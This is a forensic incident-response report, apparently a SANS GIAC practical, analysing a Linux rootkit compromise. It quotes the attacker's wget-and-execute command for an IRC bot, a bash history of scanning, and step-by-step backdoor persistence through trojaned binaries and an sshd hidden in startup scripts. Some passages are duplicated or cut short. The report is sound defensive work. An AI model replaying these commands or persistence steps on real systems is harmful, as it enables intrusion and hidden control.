   3 strobe 2 sc  3 luckstatdx 2 /dev/killall
   2 hds  3 /usr/sbin/nfsd 3 mass  3 o
   3 vuln 3 weit

7) Copy the .1addr file to /dev/ttyoa. The .1addr file is a list of ports shown below:

   3 18  4 18  3 6667  4 6667  3 1
   4 l

8) Copy the .1file file to /dev/ttyof. The .1file is a list of filenames shown below:

   .s  .x     logs  sense   tcp.log
   mps  mls  killer  mtop  mpstree
   ttyop  ttyof  ttyoa  ttyos  wipe
   clean  sense  nfisd  hds  hds1
   v  sl2  sl  foo  st
   r00t

9) Copy the .1logz file to /dev/ttyos. The .flogz file is a list of IP addresses, domain names and log file names shown below:

   XXX.hypermart.net  XXX.XXX.0.159  syslog
   klogd  net-pf-10  XXX.97.33.*

10) touch -acmr (a => change access time, c => do not create any files, m => change modification time, r => use the file referenced times instead of current time). The touch command was performed on the files listed. The first file is the file whose times are used as reference, the second is the trojan binary included in the s.tar.gz root kit.
11) Place the trojan binaries and move existing binaries appending the original name with an “m”:

```
ps => /bin/ps  
pstree => /usr/bin/pstree  
top => /usr/bin/top  
ls => /bin/ls  
killing => /usr/bin/killing  
du => /usr/bin/du  
find => /usr/bin/find  
netstat => /bin/netstat
```

12) The nfsdi script, located in the nfsd directory, is called to install the nfsd (sshd backdoor) on port 18:

The nfsdi script does the following:

a) p.sshd is copied to /usr/sbin/nfsd
b) a chmod +s and chattr +iau done on /usr/sbin/nfsd
c) sshd_config copied to /sbin/sshd_config, chattr +iau is done on the file.
d) host key (xxxh_h) and random key (xxh_r) are copied to /sbin.
e) nfsd (sshd) is run
f) charttr -iau run on /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions.
g) The line “/usr/sbin/nfsd -f /sbin/sshd_config” is appended to the end of /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions and chattr +iau is run.

13) Rootkit utilities are installed:

```
clean => /usr/bin/clean  
sense => /usr/bin/sense  
dos/sl2 => /usr/bin/dos/sl2  
dos/foo => /usr/bin/dos/foo  
dos/st => /usr/bin/dos/st  
dos/v => /usr/bin/dos/v
```

14) Linsniffer installed storing logs in /dev/logs “linsniffer /usr/bin/lpd”.

15) Setting up crontab “/usr/bin/crontab cron-root”.

16) Ports Open check using command “/usr/sbin/lsof|grep LISTEN”.

17) Checking for “Other RooTKITs”.

18) starting syslog with “/etc/rc.d/init.d/syslog start”

19) Reviewing logs, cron, maillog with echo of:

```
/var/log/messages  
/var/log/secure  
/var/log/cron
```

20) Using chattr +iau on

```
/etc/rc.d/init.d/syslog  
/etc/rc.d/init.d/functions  
/bin/ps
```

EnCase output shows key as a private key belonging to
The examination began with the startup files. In Linux RedHat 7.3 the startup begins with the /etc/rc.d/rc.sysinit script. This script was identified in the initial keyword search. It contained the keyword “weit”, one of the suspicious files seen in the live response. Two other startup files were identified in the keyword search. They are located in the /etc/init.d hierarchy.

“The inittab file is the configuration file used by ‘init’. The inittab file is located in the /etc directory and provides the run level the system will start in. RedHat Linux runs the /etc/rc.d/rc.sysinit script before running the rc ‘init’ script.”

The rc.sysinit file was identified, in the root kit install log, as one of the startup scripts that was modified. To view all startup scripts in /etc/rc.d with EnCase the rc.d homeplate was selected as shown in Figure 16 - upper left pane.

From the analysis of the s.tar.gz install script and the startup files we know three startup files were modified.

To identify file changes a fresh install of Linux 7.3 was used to generate MD5 hashes to compare against the Linux 7.3 victim machine. The output from the command below was piped (|) into an output file for comparison purposes. The find command below starts at the root “/”, looking for names of all files “-name \*”, do not parse the /proc directory structure “/proc’ -prune -o”, only look at files “-type f” and run an md5sum on the file “-exec md5sum {} \;”.

```
#find / -name \* -path ‘/proc’ -prune -o -type f -exec md5sum {} \\
```

To create a hash file in EnCase the files were checked off and an export of the hash values, file name, file logical size and path was done. This created a space
delimited flat file. The file was transferred to the Linux, normalized, and comparisons were run using the unix ‘comm’ command as shown below:

```
comm -3 known-good-startup.txt export-phase4-startup.txt | more
```

The comm command with the -3 switch will not show lines from the two files that are identical. The output is shown:

```
/etc/rc.d/init.d/functions 918ec2bf2cda7890118d41731001ed09 9962
 /etc/rc.d/init.d/functions e62d86534bd966c0378d8045aaa0762 9998
```

Looking at the end of the functions script we find the covert ssh startup command.

```
./
.
done
}
/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned functions startup script – nfsd (ssh on port 18) added

```
/etc/rc.d/init.d/syslog bf2c05fb64dc8c193dfbc21052f5e6e5 1369
 /etc/rc.d/init.d/syslog 7e7d2b5075662d3cd6e35c24b5003d69 1405
```

Looking at the end of the syslog script we again find the covert ssh startup command.

```
./
.
exit $? 
/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned syslog startup script – nfsd (ssd on port 18) added

```
/etc/rc.d/rc.sysinit 48fa67a6b96d8d1768a5f9d8421ee4 22379
 /etc/rc.d/rc.sysinit ee965268d25b94ed0ffeeb16db5be890 22379
```

Looking at the end of the rc.sysinit script we find the virus infected (Linux.RST.B) weit command.

Looking at the end of the /etc/rc.d/rc.sysinit script we find the weit command.

```
/sbin/getkey i && touch /var/run/confirm
fi
weit
```

Trojaned rc.sysinit startup script – wait changed to weit

The “last written” time from each file showed the /etc/rc.d/rc.sysinit script being modified at 3:22:09pm and both the /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions scripts modified at 3:25:21pm. Figure 16 is a screen shot of
the `/etc/rc.d` folder and associated folders and files, all sorted using the Entry Modified time.

To display all of the folders and files under `/etc/rc.d` refer to the upper left hand window in Figure 16. The “home plate” to the left of the check box is selected as shown. To perform a sort, the “Entry Modified” column was selected. The red arrow in the upper right corner of the Entry Modified column indicates this column is sorted. (Refer to the EnCase report in Appendix F).

![Figure 16. Modified startup files](image)

The back doors found on the system were:

- The `nfsd` daemon (trojaned `sshd`) running on process ID’s 19810 and 19811
- The `weit` program run from the `rc.sysinit` script in the `/etc/rc.d` directory that spawned the `popauth` program that sets up a listener on UDP port 3049.
- The IRC server running on process ID’s 19936 and 19941.

Looking at the install script in `/tmp/.s/install` we see

```
  cd nfsd;./nfsdi
```

The `nfsdi` script modifies the syslog and functions scripts and installs the trojan, virus infected, `nfsd`.

```
#!/bin/sh
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
The IRC bot Software was running as process ID 19941 and 19936. The installation and start of the script was done during a session to the victim host (192.168.2.15) from IP address XXX.XXX.108.64 between ports 35157 and 443. The time of this event was 15:22:43. The command below downloaded the bot.tgz.

```
wget XXX.XXX.com/eladoht/bot.tgz
```

The file was unpacked (tar –zxvf bot.tgz), the file was removed (rm –rf bot.tgz), the directory was changed from /tmp to /tmp/.X11-pipe (cd .X11-pipe), the mode was set to executable (chmod +x inetd/services) and the services file run (inetd/services).

```
wget XXX.XXX.com/eladoht/bot.tgz; tar –zxvf bot.tgz; rm –rf
```

The linsniffer program was part of the s.tar.gz file. Analysis of the file system showed no indication of the linsniffer program. The install.log showed the install script didn’t complete the install of linsniffer. Using EnCase, a filter search for the file name tcp.log was conducted. The filter search turned up no hits.

```
wget XXX.XXX.com/eladoht/bot.tgz; tar –zxvf bot.tgz; rm –rf
bot.tgz; cd .X11-pipe; chmod +x
inetd/services; inetd/services; inetd/services
```

The linsniffer program was part of the s.tar.gz file. Analysis of the file system showed no indication of the linsniffer program. The install.log showed the install script didn’t complete the install of linsniffer. Using EnCase, a filter search for the file name tcp.log was conducted. The filter search turned up no hits.
A keyword search was next. The purpose of the search was to see if the file existed but had been deleted. The keyword search found the tcp.log referenced 11 times. The references are summarized below:

- 6 hits were in the /tmp/.s/install file.
- 1 hits in the /dev/ttyof file.
- 1 hits in the /tmp/.s/linsniffer binary file.
- 1 hits in the /tmp/.s/.1file
- 1 hits in the /root/.bash_history file.
- 1 hits in the /swap space (swap space Is a .bash_history events).

The directory /dev/log did exist with a MAC time stamp of 03:2206PM on 06/29/03.

Once the nsfd was running, the attacker connected, using ssh on port 18 and continued the configuration and setup of the root kits. The attacker mistyped the command for turning off HISTFILE and because of this error the .bash_history log file recorded the commands issued. These commands confirm the sebek output. The /root/.bash_history file, shown in Table 4, gives the keystroke history for the installation and running of the samba.tgz kit.

```
unset HISTFILES
cd /tmp
ls -al
dir -al
rm -rf .s
rm -rf r
mc
ps ax
killall -9 cp chmod
ps ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
cd .font
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S XXX.XXX.5.*
nmap
nmap XXX.XXX.42.58
./sys XXX.XXX.42.58
./sys XXX.XXX.42.58
whereis tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
nmap XXX.XXX.49.137
./sys XXX.XXX.49.137
```
Table 4. HISTFILE output

The EnCase enscript used for reporting the sticky bit did not identify the bit as either setuid or setgid. To provide a complete listing of setuid and setgid a dd image was made of the evidence drive (Tag # 02) using Fastbloc. The command used to create the dd image was:

```
"dd if=/dev/sd1 of=/mnt/linux73-062903.bin bs=1024 conv=noerror,notrunc,sync"
```

The dd command is used to make a bit for bit image. The command line switches are:

- “if” => identifies the input file, in this case it is /dev/sd1.
- “of” => designated the output file, in this case it is /mnt/linux73-062903.bin.
- “bs” => is the block size to use for reading and writing.
- “conv” => is used to send extra arguments to dd.
- “noerror” => tells dd not to stop when reading if an error occurs.
- “notrunc” => no truncation of the output if an error happens.
• “sync” => if an error occurs use zeros in the output file.  

The MD5 checksum was verified against the MD5 checksum from EnCase. See Figure 17.

![Figure 17 dd image MD5 checksum.](image)

Using the loop back devices the filesystem was mounted as ro and the find command was used to obtain the following:

1. The syntax of the find command for locating hidden directories is;

   ```bash
   find /mnt/linux73 -name ".*" -type d -printf "%Tc %k %h/%f
   ```

   The “/mnt/linux73” tells find where to start. The “-name ".*" -type d” tells find to look for directories that begin with a “.” (the “.” in unix hides the directory or file). The last command line switch tells find to print out the file date and time information.

<table>
<thead>
<tr>
<th>Directories of interest are listed below:</th>
</tr>
</thead>
<tbody>
<tr>
<td>.</td>
</tr>
<tr>
<td>.</td>

2. Locating the setuid files:

```bash
find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslg () \;
```

The “/mnt/linux73” tells find where to start. The “-type f -a -perm -4000” tells find to look for a regular file with the setuid bit set. The “-exec ls -aslg ()\;” command line switch tells find to print out the file details.

</tbody>
</table>
The highlighted line for both setuid and setgid shows the nfsd file, installed with the root kit having both setuid and setgid bits set. See Appendix F for the complete EnCase report.

2.6. Timeline Analysis

Time line analysis was done using a combination of EnCase, mac_robber and the unix find command. The Modified, Access and Change times are selectable within EnCase. The timeline export within EnCase produced a file too large to import into Excel and sort. EnCase allows for easy sorting on any of the three times or combinations of the three. To provide a sortable file, the dd image was mounted and both mac_robber and find commands were used to produce timeline files. The following command was used to create a ctime (change time) timeline file:

```
find /mnt/linux73/root -printf "%C@ \t%h/%f\n" | sort > outputfile.txt
```

The adjusted to local times listed below are based on the EnCase Timeline analysis. The time on the /mnt/linux73/lost-found file indicated the last written and modified time as 11:30:53 time as seen in Figure 18.

The 1056043853 time is based on the number of seconds after Jan 1, 1970. The key events are displayed below with both times:
OS install start Jun 19, 2003 18:30:53 => Adjusted to local time 11:30:53

The install script from s.tar.gz is running. The install script calls the mpstree script with the line “sh mpstree”, then the mpstree script calls the p.ssh script with the line “/p.ssh”. The “p.ssh” script creates the /x directory with the line “mkdir –p $D”, the $D variable is set to “/x” one line before. The libgc.so library and the popauth executable are placed by the p.ssh script.

Date is Jun 29, 2003 22:22:09 => Adjusted to local 15:22:09

The mpstree script modifies the /etc/rc.d/rc.sysinit script and runs the weit executable. The weit executable calls the popauth executable. Popauth listens on https, http, and UDP 3049. Popauth and other binaries are infected with the Linux.Jac.8759 virus. See EnCase report on virus infected files. 739 files, including rc.sysint have ctimes (change time) of 1056921729.

Date is Jun 29, 2003 22:36:49 => Adjusted to local 15:36:49

EnCase was used to order the files based on last modified time.
Figure 19. EnCase modified time sort.

Looking at the EnCase modified time sort we see the mech.pid file, (Trojaned IRC server) established at 15:32:59. The mkdir time 15:39:41 (03:39:21) shows us the last trojaned command being put in place. The samba.tgz file is the file downloaded during the nfsd (trojaned ssh running on port 18) session. The time for this was 15:41:42 (03:41:42). Outgoing attacks are initiated. Our suspect mistypes and forgets to stop the .bash_history file from logging. It, along with the sebek log provide evidence on the exact commands typed.

The hostname file had it’s mtime and ctime changed at 16:59:16. One of the commands run during the attacks was ‘netstat’. The ‘netstat’ command was one of the files successfully trojaned. The ‘netstat’ command was exported and the Norton anti-virus program showed the file contained the Linux.RST.B virus. The ‘hostname’ file was exported and it also had the virus. The running of the trojaned netstat command infected the hostname file causing the change in mtime and ctime.

The next mtime written is for .bash_history at 17:21:23 and the xxh_r (trojaned ssh daemon nfsd random seed file) time at 17:25:23. The lpd.usr (19:00:27) and MrIdiot.seen (19:10:27) files are both used for the IRC BOT server. The last inbound
connection to the IRC server is shown in the tcpdump log output below.

```
16:52:24.823540 195.54.102.4.6667 > 192.168.2.15.1143: P 28727:28812(85) ack 1171 win 2896
<nop,nop,timestamp 120259573 53659921> (DF)
```

### 2.7. Recover Deleted Files

As indicated the log server file for the Jun 29 date were not immediately obtained. The log file rotation was set to rotate every week, retaining only 4 weeks before being written over. By the time the error was uncovered the logging event for June 29, had been overwritten. To recover events from the Jun 29 time period a dd image was taken of the drive, see Tag #3. The dd image of the var partition was acquired into EnCase and a search expression for “Jun 29” was created. See Figure 20.

![Figure 20. EnCase keyword string input](image.png)

The results of the search string are shown by selecting Search Hits. To export the deleted data into a file, the selection is highlighted by dragging the cursor or right clicking and selecting export. Under export you have options to enter the ranges you wish to export to a file. Figure 21 shows the search string found in Unallocated Clusters. The data start and length was used to export the deleted log data to an output file.
Other data recovery was done using tcpflow on the tcpdump data streams from the log evidence gathered from tag item #3.

The syntax for recovering the data streams through these sessions was:

```
#> tcpflow -r tcpdump.log.1056866401 port 1058
```

The output is two streams:

```
XXX.XXX.119.141.00080-192.168.002.015.01058
192.168.002.015.01058-XXX.XXX.119.141.00080
```

Editing out the http header information from the first stream left the "r" binary file that was used to elevate privileges to root on the system.
2.8. String Search

From the live response, log analysis, and media analysis keywords were identified. The lists below were compiled throughout the analysis. As shown above, the string search for Jun 29 on the /var partition provided supporting evidence on the timing of events and the nature of the activity.

The keywords from live response were compiled based on the difference in a live response run on a normal system and the live response run on the compromised Linux 7.3 server. The keywords were used to narrow the search parameters and target the analysis. This string search / keyword search targeting saved time and narrowed the search for the facts.

2.9. Conclusions

The analysis of the logs and tools used provided some interesting insights into the subject. The initial connections showed some scripted activity, worm-like. The subject scripts initially held the connection but dropped. The subject did not pay attention to the logging their own install script provided. If they had, they would have seen the fact the sniffer program was not completely installed.

Logging from the IRC sessions demonstrated the need to have bragging rights over how many machines someone has compromised.

```

Our subject(s) are likely learning the ropes, and are attempting to prove themselves to others in their group by hacking into as many computers as possible. The suspect is not a detail person as seen in the mistyping of commands such as "unset HISTFILES" and doesn’t review his/her own install logs.

Improvements made to the Live Response procedure are;

- File listing has been changed from listing only the /proc file system to listing all files and directories recursively. Changed from `ls -al /proc` to `ls -aliR /`.
- A second file listing has been added that will parse out the inode listings for the file system. Added `ls -aliR /`.
3. Legal Issues of Incident Handling

3.1. Questions:

Question. Based upon the type of material John Price was distributing, what if any, laws have been broken based upon the distribution?

The reference to Ripped MP3 files at the various website and the message to Mike are evidence of copyright infringement. The sections of the Canadian copyright law that would be applied to this are civil and criminal. In the “Copyright Act of Canada, Part IV – Remedies S.34, S35, S38.1” we find the following;

Civil Remedies

34. (1) Where copyright has been infringed, the owner of the copyright is, subject to this Act, entitled to all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(2) In any proceedings for an infringement of a moral right of an author, the court may grant to the author or to the person who holds the moral rights by virtue of subsection 14.2(2) or (3), as the case may be, all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(3) The costs of all parties in any proceedings in respect of the infringement of a right conferred by this Act shall be in the discretion of the court.

(4) The following proceedings may be commenced or proceeded with by way of application or action and shall, in the case of an application, be heard and determined without delay and in a summary way:

(a) proceedings for infringement of copyright or moral rights;
(b) proceedings taken under section 44.1, 44.2 or 44.4; and
(c) proceedings taken in respect of

(i) a tariff certified by the Board under Part VII or VIII, or
(ii) agreements referred to in section 70.12.

35. (1) Where a person infringes copyright, the person is liable to pay such damages to the owner of the copyright as the owner has suffered due to the infringement and, in addition to those damages, such part of the profits that the infringer has made from the infringement and that were

---

10 Copyright Act of Canada. “Copyright Act of Canada Part IV – Remedies S.34, S35, S38.1” R.S. 1985, c. C-42,
not taken into account in calculating the damages as the court considers just.

(2) In proving profits,

(a) the plaintiff shall be required to prove only receipts or revenues derived from the infringement; and

(b) the defendant shall be required to prove every element of cost that the defendant claims.

(c) in any other case, if the court is of the opinion that the interests of justice do not require the copyright owner to be a party

...

38.1 (1) Subject to this section, a copyright owner may elect, at any time before final judgment is rendered, to recover, instead of damages and profits referred to in subsection 35(1), an award of statutory damages for all infringements involved in the proceedings, with respect to any one work or other subject-matter, for which any one infringer is liable individually, or for which any two or more infringers are liable jointly and severally, in a sum of not less than $500 or more than $20,000 as the court considers just.

Depending on intent and cooperation the fines faced by the defendant in civil court can be expensive. The “Criminal Remedies” section carry not only fines but the added possibility of jail time. The section of the “Copyright Act” that applies to the Criminal aspect of Copyright infringement is “Copyright Act of Canada, Part IV – Remedies S.42”. In this section we find the statement “Every person who knowingly”. The factor that determines the pressing of Criminal charges would be “intent”. For our case we see intent in the letter written to Mike. The topic of discussion is on “advanced orders for the next run”. The actions being taken are deliberate, the factors that show it’s illegal and wrong are things like hiding the MP3 access sites in slack space of a file. The other factor is the alteration of the bmap source code. Below are some sections from the Criminal Remedies area of the Copyright Act of Canada:

Criminal Remedies

42. (1) Every person who knowingly

(a) makes for sale or rental an infringing copy of a work or other subject-matter in which copyright subsists,

(b) sells or rents out, or by way of trade exposes or offers for sale or rental, an infringing copy of a work or other subject-matter in which copyright subsists,

(c) distributes infringing copies of a work or other subject-matter in which copyright subsists, either for the purpose of trade or to such an extent as to affect prejudicially the owner of the copyright,

(d) by way of trade exhibits in public an infringing copy of a work or other subject-matter in which copyright subsists, or

(e) imports for sale or rental into Canada any infringing copy of a work or other subject-matter in which copyright subsists

is guilty of an offence and liable

(f) on summary conviction, to a fine not exceeding twenty-five thousand dollars or to imprisonment for a term not exceeding six months or to both, or

(g) on conviction on indictment, to a fine not exceeding one million dollars or to imprisonment for a term not exceeding five years or to both.

(4) Proceedings by summary conviction in respect of an offence under this section may be instituted at any time within, but not later than, two years after the time when the offence was committed.

If found guilty of a summary conviction under section 42 of the Copyright Act the suspect faces fines up to $25,000.00 and a jail term of 6 months. For a summary conviction there is a two year time limit. If you are convicted on indictment the fines are up to 1 million dollars and jail for up to 5 years.

Question. What would the appropriate steps be to take if you discovered this information on your systems?

The information on the system is a violation of the Copyright Act as indicated above. The information must be handled as any other evidence. The requirements for electronic evidence gathering are indicated in the Canada Evidence Act – Authentication of Electronic Documents – S.31.1, - Application of Best Evidence Rule-Electronic documents /printouts – S.31.2 and Presumption of Integrity – S.31.3. In accordance with the above sections the “burden of proving its authenticity” is required by the person wishing to admit the evidence. The evidence is required to support the claim that the document is what it claims to be.

The method used to gather the evidence must be verified. Note taking and using two people ensures there is independent verification and integrity of the evidence. The evidence gathering must include the identification and verification processes. The use of MD5 checksum hashes are meant to prove authenticity and integrity of the evidence. Placing the seized media into a secure area and using evidence bags initialed by the investigators maintains the evidence chain. The hardware write block device used for the image ensure the evidence is not modified.

The application of the best-evidence rule (S31.2) allows for the use of printout to be used as evidence of an electronic document. Printouts of evidence reports ensure its availability and provide backup in cases were the electronic media may be unavailable or destroyed.
Question. In the event your corporate counsel decides to not pursue the matter any further at this point, what steps should you take to ensure any evidence you collect can be admissible in proceedings in the future should the situation change?

To ensure the evidence gathered could be admissible in the future the same standards for evidence gathering that law enforcement uses would be applied. The evidence would be gathered by two people and documented. A live response would be conducted to ensure the running processes are recorded. Next, the box would be either shutdown properly or unplugged, depending on the type of Operating system being dealt with. The note taking by the two investigators must include dates, times, commands run, MD5 hashes of files and evidence gathered. Initialing of all evidence and the use of evidence bags that are sealed and initialed. All evidence gathered would be stored in a secure (locked) location.

Other provisions of the Criminal Code for gathering the evidence are covered in the Canada Evidence Act. The sections of interest are (31.1) Authentication of Electronic Documents, (31.2) Application of Best Evidence Rule-Electronic Documents and (S31.3) Presumption of Integrity. Refer to the section above.

Question. How would your actions change if your investigation disclosed that John Price was distributing child pornography?

Child pornography is a serious criminal offense. Corporate counsel would be advised then the authorities would be contacted immediately. The provisions in the Criminal Code of Canada provide clear guidelines on the action to be taken. (see Appendix G for complete listing of the Criminal Code of Canada pertaining to Child Pornography).

The Child pornography section of the Criminal Code of Canada is section 163.1. Item 3 under section 163.1 states:

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or
(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

The provisions in section 163.1 (3) allow the company hosting to be charged if immediate action is not taken.

The machine in question would be imaged following the forensic methodology outlined below.

- Two investigators present.
- Extensive note taking, including dates and times, commands run.
- MD5 checksums on the evidence.
- Strong chain of evidence through the use of evidence bags and initialed seals. Secure storage of all evidence.

The preference for who gathers the evidence would be to gather the evidence and wait for law enforcement to execute a proper Search warrant. To ensure due process law enforcement is required to obtain a search warrant under the Criminal Code of Canada, S.487 (1) a-c, and S.487(2.1) a-d & (2.2) a-c. It states:

487. (1) A justice who is satisfied by information on oath in Form 1 that there are reasonable grounds to believe that there is in a building, receptacle or place

(a) anything on or in respect of which any offence against this Act or any other Act of Parliament has been or is suspected to have been committed,

b) anything that there are reasonable grounds to believe will afford evidence with respect to the commission of an offence, or will reveal the whereabouts of a person who is believed to have committed an offence, against this Act or any other Act of Parliament,

(c) anything that there are reasonable grounds to believe is intended to be used for the purpose of committing any offence against the person for which a person may be arrested without warrant, or

may at any time issue a warrant authorizing a peace officer or a public officer who has been appointed or designated to administer or enforce a federal or provincial law and whose duties include
the enforcement of this Act or any other Act of Parliament and who is named in the warrant.

(2.1) A person authorized under this section to search a computer system in a building or place for data may

(a) use or cause to be used any computer system at the building or place to search any data contained in or available to the computer system;

(b) reproduce or cause to be reproduced any data in the form of a print-out or other intelligible output;

(c) seize the print-out or other output for examination or copying; and

(d) use or cause to be used any copying equipment at the place to make copies of the data.

(2.2) Every person who is in possession or control of any building or place in respect of which a search is carried out under this section shall, on presentation of the warrant, permit the person carrying out the search

(a) to use or cause to be used any computer system at the building or place in order to search any data contained in or available to the computer system for data that the person is authorized by this section to search for;

(b) to obtain a hard copy of the data and to seize it; and

(c) to use or cause to be used any copying equipment at the place to make copies of the data.\(^{12}\)

Once the search warrant was executed by Law Enforcement the evidence would be turned over to Law Enforcement.

Wrong medium type  No medium found  Disk quota exceeded
Remote I/O error  Is a named type file  No XENIX semaphores available
Not a XENIX named type file  Structure needs cleaning  Stale NFS file handle
Operation now in progress  Operation already in progress  No route to host
Host is down  Connection refused  Connection timed out
No buffer space available  Connection reset by peer  Network is unreachable
Network is down  Address already in use  Protocol family not supported
Operation not supported  Socket type not supported  Protocol not supported
Protocol not available  Message too long  Destination address required
Too many users  Streams pipe error  Remote address changed
File descriptor in bad state  Name not unique on network  Bad message
RFS specific error  Multihop attempted  Protocol error
Communication error on send  Srmount error  Advertise error
Link has been severed  Object is remote  Package not installed
Machine is not on the network  Out of streams resources  Timer expired
No data available  Device not a stream  Bad font file format
Invalid slot  Invalid request code  No anode
Exchange full  Invalid request descriptor  Invalid exchange
Level 2 halted  No CSI structure available  Protocol driver not attached
Link number out of range  Level 3 reset  Level 3 halted
Level 2 not synchronized  Channel number out of range  Identifier removed
No message of desired type  Directory not empty  Function not implemented
No locks available  File name too long  Resource deadlock avoided
Numerical result out of range  Broken pipe  Too many links
Read-only file system  Illegal seek  No space left on device
File too large  Text file busy  Too many open files
Too many open files in system  Invalid argument  Is a directory
Not a directory  No such device  Invalid cross-device link
File exists  Device or resource busy  Block device required
Bad address  Permission denied  Cannot allocate memory
No child processes  Bad file descriptor  Exec format error
Argument list too long  No such device or address  Input/output error
Interrupted system call  No such process  Too much links
Operation not permitted  Success  Too many references: cannot splice

Cannot send after transport endpoint shutdown  Transport endpoint is already connected
Software caused connection abort  Cannot assign requested address
Address family not supported by protocol  Socket operation on non-socket
Interrupted system call should be restarted  Cannot exec a shared library directly
Attempting to link in too many shared libraries  Accessing a corrupted shared library
Can not access a needed shared library  Too many levels of symbolic links
Numerical argument out of domain  Resource temporarily unavailable

Some Company – Acceptable Use Policy

The InfoSec Acceptable Use Policy below is from the SANS “www.sans.org/resources/policies/Acceptable_Use_Policy”.

Some Company InfoSec Acceptable Use Policy

1.0 Overview
InfoSec's intentions for publishing an Acceptable Use Policy are not to impose restrictions that are contrary to Some Company's established culture of openness, trust and integrity. InfoSec is committed to protecting Some Company's employees, partners and the company from illegal or damaging actions by individuals, either knowingly or unknowingly. Internet/Intranet/Extranet-related systems, including but not limited to computer equipment, software, operating systems, storage media, network accounts providing electronic mail, WWW browsing, and FTP, are the property of Some Company. These systems are to be used for business purposes in serving the interests of the company, and of our clients and customers in the course of normal operations. Please review Human Resources policies for further details. Effective security is a team effort involving the participation and support of every Some Company employee and affiliate who deals with information and/or information systems. It is the responsibility of every computer user to know these guidelines, and to conduct their activities accordingly.

2.0 Purpose
The purpose of this policy is to outline the acceptable use of computer equipment at Some Company. These rules are in place to protect the employee and Some Company. Inappropriate use exposes Some Company to risks including virus attacks, compromise of network systems and services, and legal issues.

3.0 Scope
This policy applies to employees, contractors, consultants, temporaries, and other workers at Some Company, including all personnel affiliated with third parties. This policy applies to all equipment that is owned or leased by Some Company.

4.0 Policy
4.1 General Use and Ownership

1. While Some Company's network administration desires to provide a reasonable level of privacy, users should be aware that the data they create on the corporate systems remains the property of Some Company. Because of the need to protect Some Company's network, management cannot guarantee the confidentiality of information stored on any network device belonging to Some Company.

2. Employees are responsible for exercising good judgment regarding the reasonableness of personal use. Individual departments are responsible for creating guidelines concerning personal use of Internet/Intranet/Extranet systems. In the absence of such policies, employees should be guided by departmental policies on personal use, and if there is any uncertainty, employees should consult their supervisor or manager.

3. InfoSec recommends that any information that users consider sensitive or vulnerable be encrypted. For guidelines on information classification, see InfoSec's Information Sensitivity Policy. For guidelines on encrypting email and documents, go to InfoSec's Awareness Initiative.

4. For security and network maintenance purposes, authorized individuals within Some Company may monitor equipment, systems and network traffic at any time, per InfoSec's Audit Policy.

---

5. Some Company reserves the right to audit networks and systems on a periodic basis to ensure compliance with this policy.

4.2 Security and Proprietary Information

1. The user interface for information contained on Internet/Intranet/Extranet-related systems should be classified as either confidential or not confidential, as defined by corporate confidentiality guidelines, details of which can be found in Human Resources policies. Examples of confidential information include but are not limited to: company private, corporate strategies, competitor sensitive, trade secrets, specifications, customer lists, and research data. Employees should take all necessary steps to prevent unauthorized access to this information.

2. Keep passwords secure and do not share accounts. Authorized users are responsible for the security of their passwords and accounts. System level passwords should be changed quarterly, user level passwords should be changed every six months.

3. All PCs, laptops and workstations should be secured with a password-protected screensaver with the automatic activation feature set at 10 minutes or less, or by logging-off (control-alt-delete for Win2K users) when the host will be unattended.

4. Use encryption of information in compliance with InfoSec’s Acceptable Encryption Use policy.

5. Because information contained on portable computers is especially vulnerable, special care should be exercised. Protect laptops in accordance with the “Laptop Security Tips”.

6. Postings by employees from a Some Company email address to newsgroups should contain a disclaimer stating that the opinions expressed are strictly their own and not necessarily those of Some Company, unless posting is in the course of business duties.

7. All hosts used by the employee that are connected to the Some Company Internet/Intranet/Extranet, whether owned by the employee or Some Company, shall be continually executing approved virus-scanning software with a current virus database. Unless overridden by departmental or group policy.

8. Employees must use extreme caution when opening e-mail attachments received from unknown senders, which may contain viruses, e-mail bombs, or Trojan horse code.

4.3. Unacceptable Use

The following activities are, in general, prohibited. Employees may be exempted from these restrictions during the course of their legitimate job responsibilities (e.g., systems administration staff may have a need to disable the network access of a host if that host is disrupting production services). Under no circumstances is an employee of Some Company authorized to engage in any activity that is illegal under local, state, federal or international law while utilizing Some Company-owned resources.

The lists below are by no means exhaustive, but attempt to provide a framework for activities which fall into the category of unacceptable use.

System and Network Activities

The following activities are strictly prohibited, with no exceptions:

3. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of “pirated” or other software products that are not appropriately licensed for use by Some Company.

4. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

5. Exporting software, technical information, encryption software or technology, in violation of international or regional export control laws, is illegal. The appropriate management should be consulted prior to export of any material that is in question.
6. Introduction of malicious programs into the network or server (e.g., viruses, worms, Trojan horses, e-mail bombs, etc.).
7. Revealing your account password to others or allowing use of your account by others. This includes family and other household members when work is being done at home.
8. Using a Some Company computing asset to actively engage in procuring or transmitting material that is in violation of sexual harassment or hostile workplace laws in the user's local jurisdiction.
9. Making fraudulent offers of products, items, or services originating from any Some Company account.
10. Making statements about warranty, expressly or implied, unless it is a part of normal job duties.
